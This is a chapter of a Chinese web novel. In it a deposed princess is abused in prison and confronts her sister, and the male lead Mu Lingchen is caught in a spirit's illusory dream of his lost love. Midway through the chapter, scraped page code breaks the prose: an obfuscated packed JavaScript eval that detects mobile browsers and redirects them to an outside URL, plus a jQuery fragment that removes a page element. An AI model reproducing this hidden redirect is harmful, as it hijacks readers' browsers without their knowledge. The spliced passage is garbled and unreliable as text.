66. 第 66 章
作品:《老祖她曾言不娶[女尊]》 卷积的云层还未洒下水痕时,宫侍头顶的天际上如清澈的逐流,仅在边边角角出铺上一层薄纱。
夜深人静,街巷人影稀疏,多数人家熄了灯,唯有一辆马车疾驰在大道中央,向天牢而去。
“哗啦~”
一桶带着冰渣的凉水从头浇下,刺骨的寒风拂过,地面的稻草团结起一层薄冰。
见蜷缩在地上的女子没有反应,狱卒轻啐一口唾沫,不耐烦地踹向身穿囚服的女子,嘴中喃喃自语道。“睡什么睡,还把自己当皇女呢?爷爷的,还想让老娘伺候你,真晦气。”
狱卒越想越生气,临走前又向角落里的凸起狠踢几脚,直到听到对方的低哼才过了瘾,这才将门口的饭菜端起,不客气地向碗中吐出几口浓痰,笑着将碗筷扔在地上。
瓷碗摔在地面,几粒稀疏的米花随水汤飞扬,在地面画出不规则的形状。仔细看去,潮湿的地面还有几处未干的水渍,这样的场景显然在不久前就上演过了。
狱卒的身影消失后,稻草团蠕动起来,没一会,蜷缩的黑影舒展开手脚,将身上湿草掀开,捂着胸口靠墙坐了起来。
阮玉谨吩咐狱卒打开牢门时,看到的便是阮成双毫无情感起伏的模样。
那张她嫉妒已久的脸没有怒意,不带遗憾,甚至连手下败将应有的歇斯底里她也没有看到分毫。她就那样静静盯着透风的牢窗,阮玉谨甚至从她的神态中看出了等待的意味。
她在等什么?阮玉谨不解,等她成了太女,有的是办法让阮成鸿忘记这个曾经宠爱的女儿。
到那时,一个被废的皇女病死在天牢,岂不是再正常不过了……
“三姐姐真是好兴致。”阮玉谨嘲讽道:“可惜啊,你现在连赏月的资格也没有,连个宫侍都不如。”
“我不是你姐姐。”阮成双连一个眼神也不愿意施舍给阮玉谨。
看着阮成双那张脸,阮玉谨想要嘲讽挖苦的心思瞬间消散,心中只剩下了恶毒的诅咒。
甚至还有些不甘……
只有在看见那截仍残留着冰珠的手腕时,阮玉谨的心情才好了许多。青紫的伤痕隐藏在阮成双的衣袖之下,阮玉谨只要想到这一点便想惬意地大笑。
“怎么样,本殿特意派人来伺候三姐姐,三姐姐可还喜欢。”阮玉谨摆弄起身上的蟒服袖领,炫耀似地走动起来。
阮玉谨瞥了她一眼,像是在看一只斗鸡作舞,她的脸上不由得浮出笑意。
见刺激不到对方,阮玉谨脸色一僵,嘴角近乎扭曲,她冷哼一声,又恢复了原样,似是想到了什么有趣的事情。“三姐姐啊,我想三姐姐如今被压入天牢,你府中的侧夫怕是难耐寂寞。好妹妹我啊特意向母皇提了嘴,母皇便让妹妹我派人将姐夫也压入天牢,与你作伴。”
阮玉谨露出得意的有些忘形,她观察着阮成双面上一丝一毫的微动,“妹妹觉得天牢太过阴冷,不适合姐夫长住,所以呢……”
阮玉谨停顿片刻,直到阮成双终于抬头看向她,她才继续说道:“所以妹妹打算请姐夫到妹妹府上暂住,姐姐觉得如何呢?”
昏暗的光线划过阮成双微阖的眼皮,一丝紧张的神色从她眸中划过,阮玉谨笑了起来。
“姐夫在帝都中的追求者可真不少啊,哪怕嫁为人夫,仍有诸多贵女为他倾倒。妹妹我觉得姐夫肯定也不想被困在府邸,所以特意宴请了帝都的才女武妇,这么多人轮番陪着姐夫,姐夫必定醉生梦死,怕是连姐姐是谁都想不起来了。”
阮玉谨盯着阮成双,可阮成双只是攥起了掌心,没一会便松开了手,仿佛什么也听到般。这淡定的神情让阮玉谨不自信起来,忍不住皱起眉头。
“三姐姐真的不在意吗?”她绝不会看错,阮成双对那男人绝对动了真情,不然也不会婉拒阮成鸿的多次暗戳戳的牵线。
阮成双低咳几声,声音没有丝毫起伏,“你大可一试。”
又是这样,那张让人恶心的脸上总是这样漫不经心,哪怕你将她珍藏的宝玉碾成了粉齑,她永远都是这么无动于衷。
阮玉谨彻底破防,声音变得尖锐又刺耳,“阮成双!你已经成了废人,为何还能如此作出这副表情,你知不知道,你这副高高在上的脸最让我生厌。”
说着,阮玉谨从腰间拔出一把匕首,失态地冲上前,将透着寒光的刃尖抵上那张让她抓狂的脸。
都说阮成鸿器重太女,可只有阮玉谨早已看穿了阮成鸿的心思,那老不死的最惦记的就是阮成双,只要阮成双开口,她相信,这天下都是阮成双的。
正要将刀柄刺入面前的桃面,一道强劲的阻力拦下刀刃,腥气带着热气扑鼻而来。
利刃似乎嵌入了阮成双的掌心,让阮玉谨再不能深入,她甚至能透过刀柄感受到对方指骨的坚韧。一抹血红瞬间便勾勒出刀刃的形状,顺着刀刃倾泻在阮玉谨手背。
阮玉谨没有想到,在她特意安排的折磨下,阮成双还有力气反抗,她惊愕在原地,甚至忘了手中的动作。
阮成双像看死人般的眼眸让她心底发怵,阮玉谨猛地松开了刀柄,后退几步。
“你真的认为,阮成鸿会有所谓的真情?”阮成双问道:“她暗中筹划了那么久的换魂之术,你真的觉得她能斗得过那群修仙界的人?”
“一个凡人,竟妄想一跃成神,你不想知道她如此臆想的底气吗?”
“别犯蠢了。”阮成双的声音突然变得凌厉无比,甚至比窗口吹出的寒风还要刺人。“这场你争我抢,无关权力的输赢,只有生死的争斗。”
“你真以为你赢了吗?你不过是阮成双的替死鬼。”
窗外猛烈呼啸的寒风盖住了牢狱的声音,不知过了多久,闷雷滚滚,为将倾的大雨哀鸣。
阮玉谨的世界泛起空鸣,她的信念在对方略带讽刺的话音中悄然坍塌,连废墟都没有留下,只剩下一片虚无。直至一声惊雷将她唤醒,她浑浑噩噩的思绪逐渐收回,听到了侍卫的传报。
“殿下,摄政王身边的淳意来报,陛下在龙阁等着殿下。”
“你不相信我说的,那就自己去看。”阮成双不再理会阮玉谨,继续放空思绪,盯着窗外发起了呆。
几道弯曲的光芒划破天幕,雨丝刷刷落下,如蚕丝般编织,很快便将雨幕织起,盖住了雷电带起的闪光。
母亲,不能亲眼见到仇人自食其果,你会怨我吗?阮成双看着飞入窗内的丝线,可惜无人知晓这个问题的答案。
萧瑟的风吟盖住了无数人的愁思,也覆住了“噗通”的落水声。
沐灵忱似乎漂浮在水中,他感受到了水中的浮力拉着他上上下下,想要将他拉入水底。不少流水堵塞了他的鼻腔,让他猛然惊醒。
睁开眼后,他却看到了他的父亲满眼惊慌,往日的沉稳不见了踪影,朝他狂奔而来,手中的食盘滑落在地,不少鲜果滚落在他脚边的衣摆。
他还想看清周围的风景,可意识却变得昏沉,带着眼皮不断下坠。
眼前再次变成一片黑暗。
这个梦境如此真实,以至于水流冲入他鼻腔的感觉仍包裹着他,让他在挣扎中坐起身来。
绸被被他的动作带起,将床边守候的人惊起。
沐灵忱又看到了林之礼,不似回忆中的模样,林之礼的青丝生出了些许白发,额角也被岁月染上褶皱。
爹爹好似老了许多,沐灵忱想着,下意识喊出:“爹爹……”
林之礼扑上前,泪水在眼眶中打转,又被他及时擦去。在沐灵忱还未反应过来之时便喊来了一群大夫和侍从,一群人将他团团围住,誓要将他从里到外检查个遍。
沐灵忱从未见过这种阵仗,下意识想要运转灵气,阻止这诡异的一幕。他在心中默念起法诀,可指尖却未凝结起灵气,就连灵气的波动也未被他勾起。
他又尝试了几次,仍旧什么也没发生。
沐灵忱呆呆地看着双手,指间的薄茧也不见了踪影。那双手白嫩如葱,像是从未碰过重活的少爷手。他不被眼前的一切惊到,旋即,他又想到了什么,伸手去探枕边的软铺,却摸了空。
祭尘剑……不见了……
林之礼还以为沐灵忱被吓坏了,忙驱散了人群,将沉浸在震惊中的少年拥入怀中,心疼地问道:“灵忱,你睡了好久,就让大夫替你检查检查吧,这样爹爹也放心。”
这是梦吗?
沐灵忱扫过周围的设施,眼前的房间虽然不是他记忆中的那个闺房,却有着异常的熟悉之感。林之礼的心疼即将溢出眼眶,沐灵忱不忍让他担忧,哪怕是在梦中……
他点点头,允许了那名大夫靠近。
“爹爹,这是哪里?”他一开口,嘶哑的嗓音让沐灵忱甚至没有反应过来那是他的声音。
林之礼安抚着他的情绪,泪意止不住地外泄,“灵忱,你怎么了,你别吓爹爹,这里是你的房间啊……”
他的房间?沐灵忱原因察觉到了不对,他问道:“我们不在涿州吗?”
每当梦见那些回忆,他总是在涿州的家里,这还是沐灵忱第一次梦到其他地方,可眼前的这个家让他仍有归属之感。
“涿州?”林之礼摇摇头,像是听到了什么不得了的话,求助似地看向大夫,可那名大夫把了脉后摇了摇头,猜测道:“令郎的脉象平稳,高烧也已退下了,接下来只需静养,许是落水受了惊吓,所以才会将臆想当真,分不清梦境和现实。”
沐灵忱不知道他们在说什么,他想起了那真实的溺水之感,只觉得这场梦境竟如此连贯。
“落水……”他喃道。
见沐灵忱沉思起来,林之礼回想起昨日发生的一切仍是一阵后怕,忙抱紧了沐灵忱,眼底的淤青带着浓浓的担忧。“灵忱,你不记得了吗?你和爹爹说想自己静一静,谁知你竟如此想不开……”
“想不开?”他有什么想不开的……
林之礼抹去眼泪,像是不愿提起那件事,急忙转移了话题,语气中还带着莫名的埋怨,“是爹爹的错,爹爹不该提起她,灵忱饿了吗?爹爹给你熬了些开胃的粥,我们先垫些肚子再喝药好吗?”
“你这孩子,可要吓死爹爹了……”
沐灵忱点点头,顺从的模样让林之礼更是心疼,父子俩拥作一团,四目相对,沉重氛围中充斥着温馨。
沐灵忱贪恋那份温暖,窝在林之礼怀中不愿分开,心中却在回想他入梦前的一切。
他记得他似乎到了人间,可后来发生的事情呢?他却怎么也想不起来了。
房间内的侍从不愿打破这份美好,静步退下,顺带合上了房门。不知过了多久,沐灵忱仔细听着爹爹地唠叨,恍然间在屏风后看到一道蹑手蹑脚的身影。
他一眼便从那道身影认出了来人。
他的娘亲正藏起脚步,做贼似地探出脑袋,窥视屏风后的情形,却正巧与沐灵忱的目光对上,仅是一眼,二人同时红了眼眶。
来人眼眶微红,只想上前抱住捧在手心的宝贝,却忘记了身侧的屏风,一个趔趄险些扑倒在地。顾不及拍落膝上的尘屑,沐寻双俯冲到床尾,想要上前,却碍于礼数,犹豫不决。
沐灵忱没有想太多,他见到这张思念已久的面孔,下意识张开双手,像儿时渴求拥抱般扑向沐寻双。
“娘亲。”
他真的好想见到爹爹和娘亲,被天玄宗的师兄弟们嘲讽时想,被诬陷时想,被欺骗时想,入梦时想。
原以为今生只能在梦中拥抱儿时的温暖,可得知了她们可能还活着的消息,沐灵忱只觉得无处去诉说多年来的委屈。
“娘亲,你们到底在哪里……”沐灵忱再忍不住泪意,思念如潮水般喷涌。
这声惊天地泣鬼神地啜泣将沐寻双吓得不知所措。“你这孩子,阿娘和爹爹一直都在啊。”
沐寻双十分感慨,“小时候,团团走到哪里都要阿娘抱,这长大了,连团团也不让叫了,别说抱了,连小手也不能牵了。”
“还是现在好,没想到小团团生了场病,竟然母亲我重现当年的殊荣。”
对沐寻双来说,自家的捧在手心的明珠还肯亲近大,可不就是比升官发财更有荣誉可言。
沐寻双一边心疼自家的宝贝,一边又对沐灵忱的脆弱十分受用,发红的眼眶也逐渐转成了笑意,毫无意外地收获了自家郎君的白眼。
“沐,寻,双——”
一声冷呵下,沐灵忱收起了笑意,可还是被提起了耳朵,顺带拉下了床尾。
“你又去哪里鬼混了,这么晚才回来。说了多少遍了,灵忱已经长大了,男郎的闺阁不能随便进了,给我滚出去。”
沐寻双十分不服气,“团团是我儿子,我来看我生病的儿子怎么了?”
沐灵忱看着她们两个在眼前拉拉扯扯,熟悉的画面将他拉回到儿时,又是一阵感伤。
“嘶~快松手,你看团团都心疼他娘了。”趁着林之礼被转移了注意力,沐灵忱挣脱开束缚,理正领口,趁机邀功。
“我下了朝就被萧雅拦住了,她要见团团,向我赔礼道歉了好一会。”林之礼的脸色在听见那个名字时瞬间沉了下来,沐寻双赶紧说道:“团团放心,只要娘亲在,她萧雅别想跨进我沐家的大门,娘亲已经将她拒之门外了。”
眼见沐寻双越说越起劲,林之礼低咳几声,在沐灵忱看不到的地方轻踹沐寻双的小腿,将沐寻双踹地发出高低不同的痛呼。
“咳~团……爹爹亲手给你的肉糜粥,我们先喝粥吧。”林之礼好险没被沐寻双带偏,沐灵忱自大了些和就不喜欢被人喊做团团,这个乳名早就被他忘了,没想到这些陈芝麻烂谷子的事还能被沐寻双翻出。
沐寻双发现说错了话,及时闭了嘴,见沐灵忱也沉下了脸,更是大气也不敢喘。
林之礼吩咐着下人去取粥,刚端起带着热气的瓷碗,却被沐灵忱突然出口的话吓了一跳,瓷碗掉落在地,碎得不成样子,更将林之礼和沐寻双吓得心惊。
“萧雅……阿娘为何要与她有来往,她会害了阿娘的。”
就算是在梦中,她也从未梦见到萧雅二字,沐灵忱激动起来,“阿娘一定要离她远些,她会背叛阿娘的。”
沐寻双不知这句背叛该从何而来,她试探道:“团团,你还记不记得萧雅……她是你的……你的妻主。”
沐灵忱愣在原地,仿佛出现了幻听,也忘了回应周围的一切。。
他看着沐寻双和林之礼讨论他的“病情”,又向他多次询问萧雅的事情,最后得出了结论:他因情生恨,投湖自尽未果,将他和萧雅的过往忘了个一干二净。
沐灵忱只觉得荒谬,却被沐灵忱接下来说的话震在原地。
在这个荒谬的梦中,阮成鸿并没有称帝,反而是太女阮成因顺利继位,十七皇女阮成果也没有因起兵谋反而死,反而亲自率军平息了边疆战乱。整个大域在这二人的守护下越发繁荣,一片祥和。
而阮成鸿,不过是个无所事事的王爷,活成了酒囊饭袋的模样。
沐灵忱在这场梦中生在帝都长在帝都,从未踏出帝都半步,更遑论进入天玄宗修炼了。
这个梦不仅荒谬,在沐灵忱看来,甚至有些悲哀,像极了他中了幻术的臆想,充满了自欺欺人的谎言。他顿时便失去了沉溺其中的想法,只想逃离这个噩梦。
是的,这是个噩梦,这个梦要比亲眼看到母父躺在血泊中的尸身还要让人心痛。
因为沐灵忱清晰地铭记着发生过的一切,他也知道,这是痴心妄想……
沐灵忱沉默下来,不再说话。他缩回绸被里,盖住了身体,将头埋在了枕芯。沐寻双和林之礼见状,只得停下了争论,为他留出了独处的空间。不过这次她们特意留下了侍从看守在床边,生怕他再伤害自己。
阖眸而眠,沐灵忱本以为会脱离梦境,可睁眼闭眼,日起暮落,十日过去了,他还未从梦中醒来。
这梦中的一切真实得要命,沐灵忱处在其中,恍惚间甚至会怀疑他的记忆,真的相信了眼前的一切。
这日,在他看到楚寂从转角处踏着暮色而来时,沐灵忱在那一刻真的相信了这个离奇的梦境。
可惜,仅一瞬而已。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15041703|162556||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
因为那些侍从纷纷低下了头,称呼道:“萧大人。”
沐灵忱只认识一个萧大人,那便是……
“萧雅。”他念出这个名字。
那张属于“楚寂”的脸浮现出惊喜的神情,随即而来便是满眼的星光闪烁,每一次的闪烁都带着无止境的爱意。浓烈的爱意翻涌,伴着身后暖阳的余烬,让沐灵忱不知不觉中晃了眼,也忘了说话。
那是沐灵忱从未在她身上见到的神情,这样的“楚寂”让沐灵忱终于感到了些许人气,甚至于萌生了不愿破坏那张表情的想法。
沐灵忱没有拒绝她的靠近,听着对方讲述她的悔意,诉说着她的错处和歉意,直至日暮消散,冷气翻涌。他听着对方分享着每时每刻的所见所闻,仿佛要谈到天荒地老般不知疲倦。
从沐灵忱未曾经历过的相爱相知谈到大婚时他的惊天绝色,沐灵忱第一次发现他是个绝佳的倾听者,哪怕对方是个拙劣的诉说者。
那夜,沐灵忱不出意外地失眠了,他辗转反侧,任由眼角的湿意染透了枕巾。
往后的每一日,他的院落总要出现这么个不速之客。她或是突然出现在廊角,带着搜罗来的各地宝物,亦或是在院中等待许久,桌前摆着早已凉透的糯米肉丸,身上还套着未来得及换下的朝服。
沐灵忱每日都能见到不一样的“楚寂”,如此鲜活的、栩栩如生的“楚寂”。她带着拘谨,时刻保持着小心翼翼,生怕哪处做的不对,惹得他生气,大多时候,那蹩脚的借口和说辞总会让他忍不住发笑。
她从不隐藏心中的爱意,总是用那双眼睛告诉沐灵忱,她爱他,她的言语中处处透着漫无边际的思念和情意,哪怕他们间的距离不过几步之遥。沐灵忱像浮在汪洋的大海,逐渐迷失了方向。
每当他笑的时候,“楚寂”总会盯着他,再问出那句“我们回家吧?”。
沐灵忱逐渐相信了眼前的一切和她的爱意,甚至于这场盛世……
于是,在她再次乘着斜阳而来,邀请他一同前往灯会时,沐灵忱没有拒绝。
他永远找不到借口拒绝这样的楚寂,在他心中,。楚寂与他的父母处于同样重要的地位,不分上下,不谈先后。沐灵忱知道,他实在是无可救药了。
“喜欢吗?”见他盯着小贩手中的木簪,“楚寂”将他的思绪拉回了眼前的一切。
沐灵忱摇摇头,“很漂亮,不喜欢。”
察觉到他眸中一闪而过的留恋,“楚寂”左顾右盼了会,拉着沐灵忱穿过人群,走到了一个正拿着木块雕刻的老者旁,用几颗碎银换下了小贩手中未成形的木雕和刻刀。
她将沐灵忱安置在一旁,满不在乎地坐在沐灵忱身前的地面,自顾自地使起刀片,刻刀在她手中飞速旋转,片刻间,木簪的雏形便展露出来。
吹落手腕处的木屑,“楚寂”在木头上留下最后几笔,木簪的纹理浮现,云纹在簪柄处惟妙惟肖。
“还不算完工,不过也算能拿出手了。”她轻佻眉角,将木簪递给呆愣在原地的沐灵忱。“这算是定金,改日我再送你个成品,我们交换,怎么样?”
沐灵忱接过木簪,指尖在云纹上摩挲,不知在想些什么。
温热的掌心落在他发顶,带着安抚的意味。“楚寂”从袖中取出一个犹如真人的木雕小人,那鲜红的颜色唤醒了沐灵忱。
那是个身穿嫁衣、凤冠霞帔的男郎小人,仔细看去,那小人的眉眼和沐灵忱一模一样,脸颊和耳角的绯红藏下了小人的羞涩和爱意,如水波荡漾的眼眸微睨,似乎在偷瞄身侧之人。
“我刻了许久,终于有个像你三分的雏形,喜欢吗?”
沐灵忱接过小人,端详之时难掩泪意,指尖在小人的脸颊划过,有些哽咽,他扯起一个不算好看的笑容,问道:“它的新娘呢?”
“楚寂”一怔,回道:“还没来得及动笔描出底样。”
沐灵忱点点头,缓缓说道:“谢谢,我很喜欢。”
“我们是夫妻,夫妻之间不需要说谢谢。”她牵起沐灵忱的手,拉进的距离让他嗅到了那股熟悉的檀香。
“嗯。”他轻哼道,声音被人群的惊呼淹没,也淹没在突然腾空的烟火中。
被人群的兴奋感染,沐灵忱只觉得夜晚的烟火也带上了些喜意,满街串起的灯笼让他看得目不暇接,不知不觉中竟走到一处府邸门前。
他抬起头,那门上的牌匾上刻着“萧府”。
“我知道这样有些唐突,你不要害怕,陪我看完这场灯会,就像之前一样,可以吗?”她放缓了声音,沐灵忱听出了她的恳求。
“之前?”沐灵忱问道:“之前是什么样?”
见他没有抗拒,“楚寂”拉着他推开了府门。
随着吱呀的木门作响,耀眼的灯火照亮了沐灵忱的眼眸,让他迷失在了头顶无处不在的烛火中。
无数纸灯笼挂满了院中,将边边角角都填满。各种动物状的灯笼间夹杂几个纸人形状的灯笼。沐灵忱认得那些小人,到处都是他儿时的模样。
院中槐树上挂满了彩穗,不少布条的尾端还挂着散发烛火的风铃,风铃在风中晃荡,发出清脆的碰撞声。
“没关系,我会等到你想起一切。”她缓缓说道:“这些都是我为你做的,每年的今日,你都会陪我一起欣赏这些纸灯,直到烛火熄灭,仍不尽兴。虽然你不记得了,我却永远都不会忘记。”
沐灵忱的目光停在了最显眼的灯笼前,他看着孩童状的灯笼抱着一团黑乎乎的影子。凑近了些,他仍是没看出那团黑是什么东西。
他正要开口询问,四周突然响起他自己的声音。
“美梦做久了,小心再也醒不来了。”
沐灵忱看向“楚寂”,她显然也听到了那道声音,瞬间白了脸,杀意浮现在她眼中,由星光组成的双眸似乎有无数风暴在旋转。
他捕捉到了“楚寂”眸中的黑色符文,扬起的笑意落下,心情有些沉重。
终究还是到了梦醒的时刻……
“谢谢你,这些灯都很漂亮,我很喜欢。”他说:“可惜,这一切都不是真的,萧雅。”
“叮铃~”风扬起了纸灯笼,顶端的灯笼旋转,露出了背面。
沐灵忱终于看清了灯笼上的那团黑影,黑影露出了眼睛,圆溜溜的黄瞳望着孩童,看起来带着十足的眷恋。
回过神,眼前之人褪去了假面,萧雅的模样显露在眼前。她左脸的面具消失不见,如玉般光滑的皮肤全然不见了那些可怖的疤痕。
“或者说,你是小影。”沐灵忱继续说道:“我记得,雅姐姐早就死了,她在我离开帝都那日,亲眼死在了我眼前,还有小影。”
沐灵忱还记得,那只带有灵性的猫影替他挡下了军卫布满干涸血液的利刃。
他其实什么都看到了,只是……
“我不是故意忘了你的。”泪意哽在胸口,让他的呼吸都变得困难起来,“我只是……不愿意承认事实……”
“对不起……”
“我知道。”萧雅露出早已了然的神情,安慰道:“没有人怪你。”
她将沐灵忱握紧的手指抚开,一颗带着锈痕的铜铃被放入他的掌心。萧雅不愿松开他的手,带着祈求问道:“陪着我好吗?这里有你想要的一切,我可以让你忘了一切,我们就当作什么也没有发生过,好吗?”
沐灵忱盯着她看了许久,摇了摇头,“可这里没有褚寂。”
他的话音方落,萧雅的身影变得模糊,最后变成了褚寂的模样。
“你想要什么模样我都可以给你,不要走好吗。”
她知道沐灵忱的选择,可小影只想再给自己一个机会。“你可以把我当作褚寂,我不会介意的。”
“褚寂”的面色变得隐忍起来,可那股痴狂还是在不经意泄出,让那张玉面显得有些割裂。她低语道:“你想要的一切这里都有。”
只是你没有发现罢了……
小影将他锁进怀中,近似疯狂地说道:“我和她没有任何区别,沐灵忱,我比她更爱你……”